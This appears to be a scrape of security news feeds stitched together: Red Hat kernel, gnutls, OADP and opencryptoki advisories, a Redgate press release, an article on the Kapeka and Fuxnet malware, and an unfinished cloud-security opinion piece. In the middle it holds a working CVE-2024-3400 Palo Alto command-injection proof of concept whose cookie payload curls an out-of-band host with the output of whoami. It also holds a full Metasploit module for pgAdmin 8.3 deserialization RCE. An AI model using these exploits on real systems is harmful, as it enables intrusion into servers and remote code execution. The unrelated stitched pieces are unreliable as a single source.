Red Hat Security Advisory 2024-1881-03 - An update for kernel is now available for Red Hat Enterprise Linux 9.2 Extended Update Support. Issues addressed include null pointer and use-after-free vulnerabilities.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1881.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Moderate: kernel security and bug fix update  
Advisory ID:        RHSA-2024:1881-03  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:1881  
Issue date:         2024-04-18  
Revision:           03  
CVE Names:          CVE-2023-6240  
====================================================================

Summary: 

An update for kernel is now available for Red Hat Enterprise Linux 9.2 Extended Update Support.

Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

The kernel packages contain the Linux kernel, the core of any Linux operating system.

Security Fix(es):

* kernel: Marvin vulnerability side-channel leakage in the RSA decryption operation (CVE-2023-6240)

* kernel: tls: use-after-free with partial reads and async decrypt (CVE-2024-26582)

* kernel: tls: handle backlogging of crypto requests (CVE-2024-26584)

* kernel: mlxsw: spectrum_acl_tcam: Fix stack corruption (CVE-2024-26586)

Bug Fix(es):

* [Lenovo RHEL9] Realtek patch for P1 G6 Audio (BZ#2208068)

* Please integrate commit b949ee6801f4 (\"powerpc/fadump: invoke ibm,os-term with rtas_call_unlocked()\") (JIRA:RHEL-17106)

* PVT:1050:XM:Nimitz Linux EEH Nimitz - After FATAL Injection BIT 13 on D10 Register, unable to see the htx traffic status after long time (JIRA:RHEL-22413)

* RHEL9.2 - Performance Degradation in the Case of Asymmetric Scheduler Domains in Linux (JIRA:RHEL-24862)

* kernel: mlxsw: spectrum_acl_tcam: Fix stack corruption (JIRA:RHEL-29186)

*  kernel NULL pointer dereference from nvme_fc_io_getuuid+0xc/0x30 [nvme_fc] (JIRA:RHEL-29221)

* sched_setaffinity(2) returns undocumented error ENODEV (JIRA:RHEL-21140)

* kernel: tls: use-after-free with partial reads and async decrypt (JIRA:RHEL-26396)

* kernel: Marvin vulnerability side-channel leakage in the RSA decryption operation (JIRA:RHEL-27840)

* sched_setaffinity(2) doesn't return -1 for an empty mask (JIRA:RHEL-29540)

* [EMR] [TBOOT OS] SUT could not go to S3 state with RHEL 9.2 Tboot OS One CPU return -16 running BUSY (JIRA:RHEL-29665)

* ipoib mcast lockup fix (JIRA:RHEL-29923)

* ice 0000:6f:00.0: PTP failed to get time (JIRA:RHEL-30108)

* blk-mq: don't schedule blk-mq kworkers on isolated CPUs (JIRA:RHEL-30418)

* kernel: tls: handle backlogging of crypto requests (JIRA:RHEL-30450)

* Kernel panic in skb_segment (JIRA:RHEL-30561)

* [IBM 9.4 FEAT] Update IBM vNIC Driver (ibmvnic) (JIRA:RHEL-28648)

* SCTP OOTB scenario in OVS/Netfilter where the SCTP connection can not be recovered by HB_REQ/HB_ACK (JIRA:RHEL-29949)

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2023-6240

References:

https://access.redhat.com/security/updates/classification/#moderate  
https://bugzilla.redhat.com/show_bug.cgi?id=2250843  
https://bugzilla.redhat.com/show_bug.cgi?id=2265518  
https://bugzilla.redhat.com/show_bug.cgi?id=2265519  
https://bugzilla.redhat.com/show_bug.cgi?id=2265645

Red Hat Security Advisory 2024-1881-03

Red Hat Security Advisory 2024-1879-03 - An update for gnutls is now available for Red Hat Enterprise Linux 9. Issues addressed include an information leakage vulnerability.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1879.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Moderate: gnutls security updateAdvisory ID:        RHSA-2024:1879-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:1879Issue date:         2024-04-18Revision:           03CVE Names:          CVE-2024-28834====================================================================Summary: An update for gnutls is now available for Red Hat Enterprise Linux 9.Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:The gnutls packages provide the GNU Transport Layer Security (GnuTLS) library, which implements cryptographic algorithms and protocols such as SSL, TLS, and DTLS.Security Fix(es):* gnutls: vulnerable to Minerva side-channel information leak (CVE-2024-28834)* gnutls: potential crash during chain building/verification (CVE-2024-28835)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-28834References:https://access.redhat.com/security/updates/classification/#moderatehttps://bugzilla.redhat.com/show_bug.cgi?id=2269084https://bugzilla.redhat.com/show_bug.cgi?id=2269228

Red Hat Security Advisory 2024-1879-03

PRESS RELEASE

CAMBRIDGE, April 17, 2024 - Redgate, the end-to-end Database DevOps provider, has launched an enterprise version of its popular database monitoring tool, providing a range of new features to address the challenges of scale and complexity faced by larger organizations.

Redgate Monitor Enterprise offers the most comprehensive and advanced capabilities for monitoring large, complex estates, optimizing performance, and ensuring security, compliance and high availability with a single, all-in-one tool.

“In delivering extended monitoring capabilities, Redgate Monitor Enterprise addresses the needs of large organizations, delivering on multiple challenges for those managing multi-platform database estates and allowing people to do far more, far faster,” said David Gummer, Chief Product Officer at Redgate. “Managing security and compliance can be an extremely manual task, often requiring additional tooling and absorbing significant time and resources. With the easy-to-use web-based dashboard built into Redgate Monitor Enterprise, IT leaders benefit from instant visibility into access rights and can significantly improve the efficiency of compliance auditing.”

Redgate Monitor launched as SQL Monitor in 2008 and has grown to become a favored database monitoring tool, offering instant problem diagnosis, customizable alerting, seamless scaling, and a single at-a-glance view of hybrid estates, whether on-premises or in the cloud. Redgate Monitor Enterprise builds yet further on that heritage and is tailored for larger organizations that require advanced features beyond typical monitoring.

Enhancing the proficiencies of DBAs and IT management

Redgate Monitor Enterprise gives those in IT management deliverable and demonstrable business advantages. It minimizes risk by enabling the shifting regulatory landscape to be navigated with ease and helps to avoid the cost of non-compliance. It builds and maintains trust with customers by preventing unauthorized access to sensitive information. It turns compliance into a strategic advantage by removing the administrative burden and freeing up resources for strategic projects. By doing so, it fosters positive relationships with regulatory bodies through transparent and effective communication and an always-on compliance posture.

David Gummer adds, “By helping zcontribute to security, making it everyone’s responsibility.”

“Redgate Monitor Enterprise's capability to gather permissions from all our servers and databases is going to save us so much time! Before, we had to use scripts - hundreds of lines of code. Now, we can just click a button to export this info and give it to our security team. They can check it against our rules, and we can get back to our main jobs. It's a big win for us,” added Redgate customer Patrick Meyer, DBA at Atruvia. 

Advanced enterprise capabilities:

Streamlined user permissions

Accessing a clear overview of user permissions and providing role-based access control is an ongoing headache for database management teams who want to give developers access to database environments yet remain compliant with both internal frameworks and external standards and regulations. The user permissions feature in Redgate Monitor Enterprise provides a streamlined approach to maintaining security and compliance across all environments by addressing the challenge of unauthorized changes and preventing unexpected issues during audits.

Its intuitive interface comprehensively tracks the past and present access rights of users, specifying the server, database, and level of permissions granted, along with identifying all users with access to a particular server. This data provides immediate actionable insights into access rights, speeding up the reporting process. It can also be exported, filtered and searched to meet specific administrative needs, easing the laborious, time-consuming process of access management, and providing full transparency for compliance reporting.

Simplified SQL Server configuration compliance

Many enterprises, particularly in highly regulated sectors, are expected to meet global standards when configuring their SQL Servers, wherever those servers are and on a constant, rolling basis. Redgate Monitor Enterprise centralizes database and server configuration checks from a single dashboard where all configurations can be reviewed and managed against recognized security benchmarks. This enables DBAs to ensure their SQL Servers meet every compliance requirement without having to manually sift through configurations. They can easily monitor configurations and generate reports, especially for large estates with numerous servers, significantly simplifying compliance efforts.

High Availability architecture support

Five 9s availability is a typical SLA for enterprises, with the expectation that applications and websites are operational 99.999% of the time. Redgate Monitor Enterprise fully supports High Availability architectures, enabling it to be installed within a resilient setup, ensuring continuous monitoring by having backup servers ready to take over in case of component failure. This is crucial for enterprises, for whom monitoring is production-critical, allowing them to maintain database visibility without interruption.

Comprehensive and seamless data API

The Data API in Redgate Monitor Enterprise allows direct queries to its data repository by adding a REST API layer for user access. It enables custom reports to be created and monitoring data to be integrated into broader IT infrastructures. This is particularly useful for large corporations with specific reporting needs or those wishing to seamlessly incorporate monitoring data into tools like Power BI dashboards.

Redgate Launches Enterprise Edition of Redgate Monitor

"Kapeka" and "Fuxnet" are the latest examples of malware to emerge from the long-standing conflict between the two countries.

Source: Andrew Angelov via Shutterstock

Two dangerous malware tools targeted at industrial control systems (ICS) and operating technology (OT) environments in Europe are the latest manifestations of the cyber fallout from the war in Ukraine.

One of the tools, dubbed "Kapeka," appears linked to Sandworm, a prolific Russian state-backed threat actor that Google's Mandiant security group this week described as the country's primary cyberattack unit in Ukraine. Security researchers from Finland-based WithSecure spotted the backdoor featured in 2023 attacks against an Estonian logistics company and other targets in Eastern Europe and perceive it as an active and ongoing threat.

**Destructive Malware**

The other malware — somewhat colorfully dubbed Fuxnet — is a tool that Ukraine government-backed threat group Blackjack likely used in a recent, destructive attack against Moskollector, a company that maintains a large network of sensors for monitoring Moscow's sewage system. The attackers used Fuxnet to successfully brick what they claimed was a total of 1,700 sensor-gateways on Moskollector's network and in the process disabled some 87,000 sensors connected to these gateways.

"The main functionality of the Fuxnet ICS malware was corrupting and blocking access to sensor gateways, and trying to corrupt the physical sensors as well," says Sharon Brizinov, director of vulnerability research at ICS security firm Claroty, which recently investigated Blackjack's attack. As a result of the attack, Moskollector will likely have to physically reach each of the thousands of affected devices and replace them individually, Brizinov says. "To restore \[Moskollector's\] ability of monitoring and operating the sewage system all around Moscow, they will need to procure and reset the entire system."

Kapeka and Fuxnet are examples of the broader cyber fallout from the conflict between Russia and Ukraine. Since the war between the two countries started in February 2022 — and even well before that — hacker groups from both sides developed and used a range of malware tools against each other. Many of the tools, including wipers and ransomware, have been destructive or disruptive in nature and mainly targeted critical infrastructure, ICS, and OT environments in both countries.

But on several occasions, attacks involving tools spawned from the long-standing conflict between the two countries have affected a broader swath of victims. The most notable example remains NotPetya, a malware tool that the Sandworm group originally developed for use in Ukraine, but which ended up impacting tens of thousands of systems worldwide in 2017. In 2023, the UK's National Cyber Security Centre (NCSC) and the US National Security Agency (NSA) warned of a Sandworm malware toolset dubbed "Infamous Chisel" posing a threat to Android users everywhere.

**Kapeka: A Sandworm Replacement for GreyEnergy?**

According to WithSecure, Kapeka is a novel backdoor that attackers can use as an early stage toolkit and for enabling long-term persistence on a victim system. The malware includes a dropper component for dropping the backdoor on a target machine and then removing itself. "Kapeka supports all basic functionalities that allow it to operate as a flexible backdoor in the victim's estate," says Mohammad Kazem Hassan Nejad, a researcher at WithSecure.

Its capabilities include reading and writing files from and to disk, executing shell commands, and launching malicious payloads and processes including living-off-the-land binaries. "After gaining initial access, Kapeka's operator can utilize the backdoor to perform a wide variety of tasks on the victim's machine, such as discovery, deploying additional malware, and staging next stages of their attack," Nejad says.

According to Nejad, WithSecure was able to find evidence suggesting a connection to Sandworm and the group's GreyEnergy malware used in attacks on Ukraine's power grid in 2018. "We believe Kapeka may be a replacement for GreyEnergy in Sandworm's arsenal," Nejad notes. Though the two malware samples do not originate from the same source code, there are some conceptual overlaps between Kapeka and GreyEnergy, just as there were some overlaps between GreyEnergy and its predecessor, BlackEnergy. "This indicates that Sandworm may have upgraded their arsenal with new tooling over time to adapt with the changing threat landscape," Nejad says.

**Fuxnet: A Tool to Disrupt and Destroy**

Meanwhile, Claroty's Brizinov identifies Fuxnet as ICS malware intended to cause damage to specific Russian-made sensor equipment. The malware is meant for deploying on gateways that monitor and collect data from physical sensors for fire alarms, gas monitoring, lighting, and similar use cases.

"Once the malware is deployed, it will brick the gateways by overwriting its NAND chip and disabling external remote access capabilities, preventing operators from remotely controlling the devices," Brizinov says.  

A separate module then attempts to flood the physical sensors themselves with useless M-Bus traffic. M-Bus is a European communications protocol for remotely reading gas, water, electric, and other meters. "One of the main purposes of Blackjack’s Fuxnet ICS malware \[is\] to attack and destroy the physical sensors themselves after gaining access to the sensor gateway," Brizinov says. To do so, Blackjack chose to fuzz the sensors by sending them an unlimited number of M-Bus packets. "In essence, BlackJack hoped that by endlessly sending the sensor random M-Bus packets, the packets would overwhelm them and potentially trigger a vulnerability that would corrupt the sensors and place them in an inoperable state," he says.

The key takeaway for organizations from such attacks is to pay attention to the security basics. Blackjack, for instance, appears to have gained root access to target sensor-gateways by abusing weak credentials on the devices. The attack highlights why it "is important to uphold a good password policy, making sure devices do not share the same credentials or use default ones," he says. "It is also important to deploy good network sanitization and segmentation, making sure attackers would not be able to move laterally inside the network, and deploy their malware to all edge devices."

**About the Author(s)**

Jai Vijayan is a seasoned technology reporter with over 20 years of experience in IT trade journalism. He was most recently a Senior Editor at Computerworld, where he covered information security and data privacy issues for the publication. Over the course of his 20-year career at Computerworld, Jai also covered a variety of other technology topics, including big data, Hadoop, Internet of Things, e-voting, and data analytics. Prior to Computerworld, Jai covered technology issues for The Economic Times in Bangalore, India. Jai has a Master's degree in Statistics and lives in Naperville, Ill.

Dangerous ICS Malware Targets Orgs in Russia and Ukraine

Palo Alto OS was recently hit by a command injection zero day attack. These are exploitation details related to the zero day.

# CVE-2024-3400

CVE-2024-3400 Palo Alto OS Command Injection

send this HTTP request: 

```http

POST /ssl-vpn/hipreport.esp HTTP/1.1  
Host: 127.0.0.1  
Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/hellome1337.txt;  
Connection: close  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 0  
```

![image](https://github.com/h4x0r-dz/CVE-2024-3400/assets/26070859/96803de5-1d8c-42ec-b1fc-60e8e4a0a954)

you will create hellome1337.txt file on the server with root access 

now if you try to access the files you should receive 403 insted of 404

![image](https://github.com/h4x0r-dz/CVE-2024-3400/assets/26070859/e579d4a6-11a5-4f7c-a3da-ba7b0cfa8a4d)

### Command Injection

```  
POST /ssl-vpn/hipreport.esp HTTP/1.1  
Host: 127.0.01  
Cookie: SESSID=./../../../opt/panlogs/tmp/device_telemetry/minute/h4`curl${IFS}xxxxxxxxxxxxxxxxx.oast.fun?test=$(whoami)`;  
Connection: close  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 0

```

More Info :   
https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis  
https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/

Palo Alto OS Command Injection

pgAdmin versions 8.3 and below have a path traversal vulnerability within their session management logic that can allow a pickled file to be loaded from an arbitrary location. This can be used to load a malicious, serialized Python object to execute code within the context of the target application. This exploit supports two techniques by which the payload can be loaded, depending on whether or not credentials are specified. If valid credentials are provided, Metasploit will login to pgAdmin and upload a payload object using pgAdmin's file management plugin. Once uploaded, this payload is executed via the path traversal before being deleted using the file management plugin. This technique works for both Linux and Windows targets. If no credentials are provided, Metasploit will start an SMB server and attempt to trigger loading the payload via a UNC path. This technique only works for Windows targets. For Windows 10 v1709 (Redstone 3) and later, it also requires that insecure outbound guest access be enabled. Tested on pgAdmin 8.3 on Linux, 7.7 on Linux, 7.0 on Linux, and 8.3 on Windows. The file management plugin underwent changes in the 6.x versions and therefore, pgAdmin versions below 7.0 cannot utilize the authenticated technique whereby a payload is uploaded.

    # This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-frameworkclass MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::Remote::SMB::Server::Share  def initialize(info = {})    super(      update_info(        info,        'Name' => 'pgAdmin Session Deserialization RCE',        'Description' => %q{          pgAdmin versions <= 8.3 have a path traversal vulnerability within their session management logic that can allow          a pickled file to be loaded from an arbitrary location. This can be used to load a malicious, serialized Python          object to execute code within the context of the target application.          This exploit supports two techniques by which the payload can be loaded, depending on whether or not credentials          are specified. If valid credentials are provided, Metasploit will login to pgAdmin and upload a payload object          using pgAdmin's file management plugin. Once uploaded, this payload is executed via the path traversal before          being deleted using the file management plugin. This technique works for both Linux and Windows targets. If no          credentials are provided, Metasploit will start an SMB server and attempt to trigger loading the payload via a          UNC path. This technique only works for Windows targets. For Windows 10 v1709 (Redstone 3) and later, it also          requires that insecure outbound guest access be enabled.          Tested on pgAdmin 8.3 on Linux, 7.7 on Linux, 7.0 on Linux, and 8.3 on Windows. The file management plugin          underwent changes in the 6.x versions and therefor, pgAdmin versions < 7.0 can not utilize the authenticated          technique whereby a payload is uploaded.        },        'Author' => [          'Spencer McIntyre', # metasploit module          'Davide Silvetti', # vulnerability discovery and write up          'Abdel Adim Oisfi' # vulnerability discovery and write up        ],        'License' => MSF_LICENSE,        'References' => [          ['CVE', '2024-2044'],          ['URL', 'https://www.shielder.com/advisories/pgadmin-path-traversal_leads_to_unsafe_deserialization_and_rce/'],          ['URL', 'https://github.com/pgadmin-org/pgadmin4/commit/4e49d752fba72953acceeb7f4aa2e6e32d25853d']        ],        'Stance' => Msf::Exploit::Stance::Aggressive,        'Platform' => 'python',        'Arch' => ARCH_PYTHON,        'Payload' => {},        'Targets' => [          [ 'Automatic', {} ],        ],        'DefaultOptions' => {          'SSL' => true,          'WfsDelay' => 5        },        'DefaultTarget' => 0,        'DisclosureDate' => '2024-03-04', # date it was patched, see: https://github.com/pgadmin-org/pgadmin4/commit/4e49d752fba72953acceeb7f4aa2e6e32d25853d        'Notes' => {          'Stability' => [ CRASH_SAFE, ],          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],          'Reliability' => [ REPEATABLE_SESSION, ]        }      )    )    register_options([      OptString.new('TARGETURI', [true, 'Base path for pgAdmin', '/']),      OptString.new('USERNAME', [false, 'The username to authenticate with (an email address)', '']),      OptString.new('PASSWORD', [false, 'The password to authenticate with', ''])    ])  end  def check    version = get_version    return CheckCode::Unknown('Unable to determine the target version') unless version    return CheckCode::Safe("pgAdmin version #{version} is not affected") if version >= Rex::Version.new('8.4')    CheckCode::Appears("pgAdmin version #{version} is affected")  end  def csrf_token    return @csrf_token if @csrf_token    res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true)    set_csrf_token_from_login_page(res)    fail_with(Failure::UnexpectedReply, 'Failed to obtain the CSRF token') unless @csrf_token    @csrf_token  end  def set_csrf_token_from_login_page(res)    if res&.code == 200 && res.body =~ /csrfToken": "([\w+.-]+)"/      @csrf_token = Regexp.last_match(1)    # at some point between v7.0 and 7.7 the token format changed    elsif (element = res.get_html_document.xpath("//input[@id='csrf_token']")&.first)      @csrf_token = element['value']    end  end  def get_version    res = send_request_cgi('uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true)    return unless res&.code == 200    html_document = res.get_html_document    return unless html_document.xpath('//title').text == 'pgAdmin 4'    # there's multiple links in the HTML that expose the version number in the [X]XYYZZ,    # see: https://github.com/pgadmin-org/pgadmin4/blob/053b1e3d693db987d1c947e1cb34daf842e387b7/web/version.py#L27    versioned_link = html_document.xpath('//link').find { |link| link['href'] =~ /\?ver=(\d?\d)(\d\d)(\d\d)/ }    return unless versioned_link    set_csrf_token_from_login_page(res) # store the CSRF token because we have it    Rex::Version.new("#{Regexp.last_match(1).to_i}.#{Regexp.last_match(2).to_i}.#{Regexp.last_match(3).to_i}")  end  def exploit    if datastore['USERNAME'].present?      exploit_upload    else      exploit_remote_load    end  end  def exploit_remote_load    start_service    print_status('The SMB service has been started.')    # Call the exploit primer    self.file_contents = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded)    trigger_deserialization(unc)  end  def exploit_upload    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path, 'authenticate/login'),      'method' => 'POST',      'keep_cookies' => true,      'vars_post' => {        'csrf_token' => csrf_token,        'email' => datastore['USERNAME'],        'password' => datastore['PASSWORD'],        'language' => 'en',        'internal_button' => 'Login'      }    })    unless res&.code == 302 && res.headers['Location'] != normalize_uri(target_uri.path, 'login')      fail_with(Failure::NoAccess, 'Failed to authenticate to pgAdmin')    end    print_status('Successfully authenticated to pgAdmin')    serialized_data = Msf::Util::PythonDeserialization.payload(:py3_exec_threaded, payload.encoded)    file_name = Faker::File.file_name(dir: '', directory_separator: '')    file_manager_upload(file_name, serialized_data)    trigger_deserialization("../storage/#{datastore['USERNAME'].gsub('@', '_')}/#{file_name}")    file_manager_delete(file_name)  end  def trigger_deserialization(path)    print_status("Triggering deserialization for path: #{path}")    send_request_cgi({      'uri' => normalize_uri(target_uri.path, 'login'),      'cookie' => "pga4_session=#{path}!"    })  end  def file_manager_init    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path, 'file_manager/init'),      'method' => 'POST',      'keep_cookies' => true,      'ctype' => 'application/json',      'headers' => { 'X-pgA-CSRFToken' => csrf_token },      'data' => {        'dialog_type' => 'storage_dialog',        'supported_types' => ['sql', 'csv', 'json', '*'],        'dialog_title' => 'Storage Manager'      }.to_json    })    unless res&.code == 200 && (trans_id = res.get_json_document.dig('data', 'transId'))      fail_with(Failure::UnexpectedReply, 'Failed to initialize a file manager transaction')    end    trans_id  end  def file_manager_delete(file_path)    trans_id = file_manager_init    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path, "/file_manager/filemanager/#{trans_id}/"),      'method' => 'POST',      'keep_cookies' => true,      'ctype' => 'application/json',      'headers' => { 'X-pgA-CSRFToken' => csrf_token },      'data' => {        'mode' => 'delete',        'path' => "/#{file_path}",        'storage_folder' => 'my_storage'      }.to_json    })    unless res&.code == 200 && res.get_json_document['success'] == 1      fail_with(Failure::UnexpectedReply, 'Failed to delete file')    end    true  end  def file_manager_upload(file_path, file_contents)    trans_id = file_manager_init    form = Rex::MIME::Message.new    form.add_part(      file_contents,      'application/octet-stream',      'binary',      "form-data; name=\"newfile\"; filename=\"#{file_path}\""    )    form.add_part('add', nil, nil, 'form-data; name="mode"')    form.add_part('/', nil, nil, 'form-data; name="currentpath"')    form.add_part('my_storage', nil, nil, 'form-data; name="storage_folder"')    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path, "/file_manager/filemanager/#{trans_id}/"),      'method' => 'POST',      'keep_cookies' => true,      'ctype' => "multipart/form-data; boundary=#{form.bound}",      'headers' => { 'X-pgA-CSRFToken' => csrf_token },      'data' => form.to_s    })    unless res&.code == 200 && res.get_json_document['success'] == 1      fail_with(Failure::UnexpectedReply, 'Failed to upload file contents')    end    upload_path = res.get_json_document.dig('data', 'result', 'Name')    print_status("Serialized payload uploaded to: #{upload_path}")    true  endend

pgAdmin 8.3 Remote Code Execution

Red Hat Security Advisory 2024-1859-03 - OpenShift API for Data Protection 1.3.1 is now available. Issues addressed include a denial of service vulnerability.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1859.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Moderate: OpenShift API for Data Protection (OADP) 1.3.1 security and bug fix update  
Advisory ID:        RHSA-2024:1859-03  
Product:            OpenShift API for Data Protection  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:1859  
Issue date:         2024-04-16  
Revision:           03  
CVE Names:          CVE-2023-39326  
====================================================================

Summary: 

OpenShift API for Data Protection (OADP) 1.3.1 is now available.

Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

OpenShift API for Data Protection (OADP) enables you to back up and restore application resources, persistent volume data, and internal container images to external backup storage. OADP enables both file system-based and snapshot-based backups for persistent volumes.

Security Fix(es) from Bugzilla:

* opentelemetry: DoS vulnerability in otelhttp (CVE-2023-45142)

* golang: crypto/tls: Timing Side Channel attack in RSA based TLS key exchanges. (CVE-2023-45287)

* golang: net/http/internal: Denial of Service (DoS) via Resource Consumption via HTTP requests (CVE-2023-39326)

* ssh: Prefix truncation attack on Binary Packet Protocol (BPP) (CVE-2023-48795)

* golang-protobuf: encoding/protojson, internal/encoding/json: infinite loop in protojson.Unmarshal when unmarshaling certain forms of invalid JSON (CVE-2024-24786)

* jose-go: improper handling of highly compressed data (CVE-2024-28180)

For more details about the security issue(s), including the impact, a CVSS score, and other related information, refer to the CVE page(s) listed in the References section.

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2023-39326

References:

https://access.redhat.com/security/updates/classification/#moderate  
https://bugzilla.redhat.com/show_bug.cgi?id=2245180  
https://bugzilla.redhat.com/show_bug.cgi?id=2253193  
https://bugzilla.redhat.com/show_bug.cgi?id=2253330  
https://bugzilla.redhat.com/show_bug.cgi?id=2254210  
https://bugzilla.redhat.com/show_bug.cgi?id=2268046  
https://bugzilla.redhat.com/show_bug.cgi?id=2268854  
https://issues.redhat.com/browse/OADP-1912  
https://issues.redhat.com/browse/OADP-2866  
https://issues.redhat.com/browse/OADP-3005  
https://issues.redhat.com/browse/OADP-3038  
https://issues.redhat.com/browse/OADP-3041  
https://issues.redhat.com/browse/OADP-3044  
https://issues.redhat.com/browse/OADP-3051  
https://issues.redhat.com/browse/OADP-3055  
https://issues.redhat.com/browse/OADP-3189  
https://issues.redhat.com/browse/OADP-3326  
https://issues.redhat.com/browse/OADP-3379  
https://issues.redhat.com/browse/OADP-3390  
https://issues.redhat.com/browse/OADP-3395  
https://issues.redhat.com/browse/OADP-3486  
https://issues.redhat.com/browse/OADP-3495  
https://issues.redhat.com/browse/OADP-3598  
https://issues.redhat.com/browse/OADP-3710  
https://issues.redhat.com/browse/OADP-3821

Red Hat Security Advisory 2024-1859-03

Red Hat Security Advisory 2024-1856-03 - An update for opencryptoki is now available for Red Hat Enterprise Linux 9.2 Extended Update Support.

    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1856.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Moderate: opencryptoki security updateAdvisory ID:        RHSA-2024:1856-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:1856Issue date:         2024-04-16Revision:           03CVE Names:          CVE-2024-0914====================================================================Summary: An update for opencryptoki is now available for Red Hat Enterprise Linux 9.2 Extended Update Support.Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:The opencryptoki packages contain version 2.11 of the PKCS#11 API, implemented for IBM Cryptocards, such as IBM 4764 and 4765 crypto cards. These packages includes support for the IBM 4758 Cryptographic CoProcessor (with the PKCS#11 firmware loaded), the IBM eServer Cryptographic Accelerator (FC 4960 on IBM eServer System p), the IBM Crypto Express2 (FC 0863 or FC 0870 on IBM System z), and the IBM CP Assist for Cryptographic Function (FC 3863 on IBM System z). The opencryptoki packages also bring a software token implementation that can be used without any cryptographic hardware. These packages contain the Slot Daemon (pkcsslotd) and general utilities.Security Fix(es):* opencryptoki: timing side-channel in handling of RSA PKCS#1 v1.5 padded ciphertexts (Marvin) (CVE-2024-0914)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-0914References:https://access.redhat.com/security/updates/classification/#moderatehttps://bugzilla.redhat.com/show_bug.cgi?id=2260407

Red Hat Security Advisory 2024-1856-03

A native-first approach delivers better protections and a more efficient use of resources than best-of-breed solutions, benefiting cloud service providers and end-user customers alike.

Source: Rasi Bhadramani via Alamy Stock Photo

As companies increasingly migrate to public cloud platforms like Microsoft Azure, Amazon Web Services (AWS), and Google Cloud, many are opting to lift and shift their existing security toolsets in the process. Today, the average company deploys as many as 76 disparate security tools. This is commonly known as a best-of-breed approach.

However, the problem with a best-of-breed model is that it creates security and efficiency gaps for cloud workloads. Because third-party cloud security solutions rely on the visibility provided by the cloud service provider's (CSP) application programming interface (API), each one comes with its own unique set of limitations and blind spots. This makes it difficult for security engineers and analysts to accurately and efficiently triage and remediate threats.

By contrast, a native-first cloud security approach deploys seamlessly integrated first-party security solutions to drive greater cost and resource efficiencies, as well as increase overall security resiliency. Here are three reasons to prioritize a native-first approach over best-of-breed.

**Reduce Your Attack Surface**

One key argument for implementing a native-first cloud security approach over best-of-breed is that relying on multiple third-party security solutions can inadvertently expand an organization's attack surface. Each new tool introduces its own set of configurations, APIs, and potential vulnerabilities. If not properly managed, third-party tools can create additional opportunities for attackers to exploit weaknesses in the security infrastructure. In fact, cloud misconfigurations were responsible for 80% of data security breaches in 2023.

